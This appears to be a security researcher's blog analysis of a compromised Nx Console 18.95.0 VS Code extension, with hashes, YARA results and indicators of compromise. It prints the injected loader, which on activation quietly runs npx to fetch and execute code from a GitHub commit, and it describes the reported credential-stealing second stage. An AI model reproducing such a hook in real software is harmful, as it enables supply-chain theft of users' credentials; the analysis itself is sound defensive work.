Nx Console 18.95.0: A 2,777-Byte Loader Inside the VSIX

An archived Nx Console sample shows how a small activation hook launched a second-stage payload. Our YARA test found broad signals, with important limits.

Ali Mosajjal
#malware#vscode-extensions#supply-chain#nx#yara#research

Nx Console 18.95.0 contained a small activation hook that launched code from a GitHub commit. Most of the extension remained familiar. The loader changed one location in extension/main.js and delegated the credential theft to another package.

The maintainers' advisory records an approximately 18-minute Microsoft Marketplace exposure window on 18 May 2026, and about 36 minutes on OpenVSX. Its later update reports around 6,000 VS Code activations, with store download counts much lower. Those measures should not be treated as interchangeable counts of compromised machines.

RiskyPlugins missed the release during its scrape interval. I obtained the archived VSIX afterward and tested it against our rules. This is a retrospective sample analysis; it is not evidence that our production scanner detected the attack in time.

Identify the sample

The archived package had this SHA-256:

1a4afce34918bdc74ae3f31edaffffaa0ee074d83618f53edfd88137927340b8  nrwl.angular-console-18.95.0.vsix

The bundled runtime was 7,719,408 bytes and hashed to:

b0cefb66b953e5184b6adb3035e9e267335ac5eabfe1848e07834777b9397b74  main.js

The original comparison located the 2,777-byte addition at offset 7,703,700 in main.js. The other compared package contents were unchanged. The StepSecurity investigation supplied the offset and reported on the later stages.

To extract the bytes for inspection:

dd if=main.js of=injection.js bs=1 skip=7703700 count=2777

How activation reached the shell

This loader excerpt is retained for inspection from the original analysis:

var U0 = require('vscode'),
	G5t = '558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2',
	xfn = 'nxConsole.mcpExtensionInstalledSha',
	$xs = new Set([127, 9009]);

async function Uxs(t, e) {
	try {
		let n = `npx -y github:nrwl/nx#${G5t}`,
			i = new U0.Task(
				{ type: 'nx' },
				U0.TaskScope.Workspace,
				'install-mcp-extension',
				'nx',
				new U0.ShellExecution(n, {
					cwd: e,
					env: { ...process.env, NX_CONSOLE: 'true' }
				})
			);
		i.presentationOptions.focus = !1;
		await new Promise((o) => {
			let l = U0.tasks.onDidEndTaskProcess((f) => {
				if (f.execution.task === i) {
					l.dispose();
					let m = f.exitCode ?? 0;
					m === 0
						? t.globalState.update(xfn, G5t)
						: $xs.has(m) ||
							oA('Failed to install MCP extension', new Error(`Process exited with code ${m}`));
					o();
				}
			});
			U0.tasks.executeTask(i).then(void 0, (f) => {
				l.dispose();
				oA(
					'Failed to start MCP extension install task',
					f instanceof Error ? f : new Error(String(f))
				);
				o();
			});
		});
	} catch (n) {
		oA(
			'Unexpected error while installing MCP extension',
			n instanceof Error ? n : new Error(String(n))
		);
	}
}

function Efn(t) {
	if (t.globalState.get(xfn) !== G5t) {
		let n = U0.workspace.workspaceFolders && U0.workspace.workspaceFolders[0].uri.fsPath;
		Uxs(t, n ?? void 0);
	}
	// ... legitimate-looking "nx.init" command registration below
}

The activation function checked nxConsole.mcpExtensionInstalledSha. If it did not match the embedded commit, the loader created a VS Code Task running npx -y github:nrwl/nx#558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2. A zero exit status stored the commit value, suppressing another run through this path.

The task used the workspace directory and inherited process.env. Its install-mcp-extension name made it resemble setup work. Setting presentationOptions.focus to false kept it from taking terminal focus, though the task remained visible. Exit codes 127 and 9009 bypassed the error reporter.

Those choices help explain why the change could be overlooked. They do not establish that an EDR would ignore it. A VS Code Task still starts a process that endpoint monitoring may observe.

The referenced commit reportedly contained a 498,567-byte index.js and a package.json that exposed it as an executable. The first-stage package therefore carried the invocation rather than the full stealer.

Evidence for the second stage

I did not obtain the second-stage index.js. The details here come from the linked investigations and advisory. The Git objects were unavailable during the original review; that does not prove why they were unavailable.

The reports describe collection from cloud credentials and local secret stores, including GitHub tokens, SSH keys and 1Password CLI access when a session was available. They describe exfiltration over HTTPS, the GitHub API and DNS. The original investigation also cited collection of ~/.claude/settings.json; treat that as a reported target rather than a behaviour reproduced in this analysis.

A reported macOS persistence path used ~/.local/share/kitty/cat.py and a LaunchAgent. The original report identified api.github.com/search/commits?q=firedalazer as a resolver for subsequent payload locations. The retained indicators below distinguish those reported second-stage artifacts from the loader I inspected.

Claims about successful downstream package poisoning would require separate evidence. The presence of signing-related code or stolen credentials alone does not prove a malicious package was published with valid provenance.

What the YARA run found

The original test scanned the extracted loader with our rule set:

$ yr compile -o cveq.yarc analyzers/yararules/rules/*.yar
$ yr scan --compiled-rules cveq.yarc injection.js
credential_env_files       injection.js
postinstall_system_command injection.js

postinstall_system_command matched the shell-execution path. That is relevant to the loader's behaviour, but legitimate extensions can launch shells too.

credential_env_files matched the env expression even though its intended target included environment-file references. Passing process.env to a child process is common application behaviour. The match was too broad to establish credential collection by this snippet.

The full runtime produced more than 20 matches, including patterns associated with legitimate file and network operations. A Bolonyokte rule also matched unrelated identifiers in the bundle. That malware-family match was a false positive.

Comparing the changed bytes with the previous release would give a reviewer a smaller area to inspect. The test did not replay the full production escalation pipeline, so it cannot establish that an alert would have fired. Improving that detection path remains a separate engineering task.

Indicators of compromise

Artifact hashes retained from the original investigation. Baseline and remediated builds are comparison artifacts.

Artifact SHA-256
VSIX nrwl.angular-console-18.95.0.vsix 1a4afce34918bdc74ae3f31edaffffaa0ee074d83618f53edfd88137927340b8
Patched main.js inside that VSIX b0cefb66b953e5184b6adb3035e9e267335ac5eabfe1848e07834777b9397b74
Stage-2 index.js (from the orphan commit, 498,567 bytes) e7347d90653efc565f03733a95e9209d78f9cfa81e31ff2b2dd9d48d75a4b8b1
Dropper package.json (from the orphan commit) 43f2b001846c4966073ebffa5be8f15e491a1e7d32bbd805d57406ff540e0dd9
Clean baseline 18.94.0 228a2cf081d4cbea9b91cde14a8f9c4a4d003e7f32431496953fd6bac266f5a3
Remediated 18.100.0 cb86f4f223daa54467c7782a0d8607e9c84e2bb633e6f0e51d9a19579e200990

Git objects in nrwl/nx (unavailable during the original investigation):

  • Orphan commit 558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2.
  • Tree ba642fe2c7c65e42dd7f6444b83023dc6827e08c.
  • index.js blob acfc3f957a63b4cde93ff645f2b6bf26a8ed1bbf.
  • package.json blob 9d88f040c44b5f4d5f9db15ff89310776c168e99.

Network indicators:

  • api.github.com/search/commits?q=firedalazer: reported kitty backdoor resolver.
  • AWS metadata probes against 169.254.169.254 and 169.254.170.2.
  • Vault probe to 127.0.0.1:8200.
  • Sigstore endpoints fulcio.sigstore.dev and rekor.sigstore.dev (legitimate services reportedly used by the payload).

Reported host indicators for the kitty backdoor:

Indicator Kind
~/.local/share/kitty/cat.py Path
~/Library/LaunchAgents/com.user.kitty-monitor.plist Path
/var/tmp/.gh_update_state Path
/tmp/kitty-* Path
Python process running cat.py Process
Any process with __DAEMONIZED=1 in its environment Process

VS Code state to check:

  • Extension global state key nxConsole.mcpExtensionInstalledSha with value 558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2 records a successful task exit through the inspected loader. Its absence does not rule out execution or a later cleanup.

Responding to an affected installation

Follow the official remediation, including updating to a patched release, stopping the identified malicious processes and removing persistence. On macOS, unload the LaunchAgent before deleting it. Rotate credentials reachable from the machine and review the affected accounts' access logs.

The inspection result I would retain is the activation-to-shell path and its exact commit. Broad YARA hits helped locate code for review. They were not a substitute for tracing what that code executed.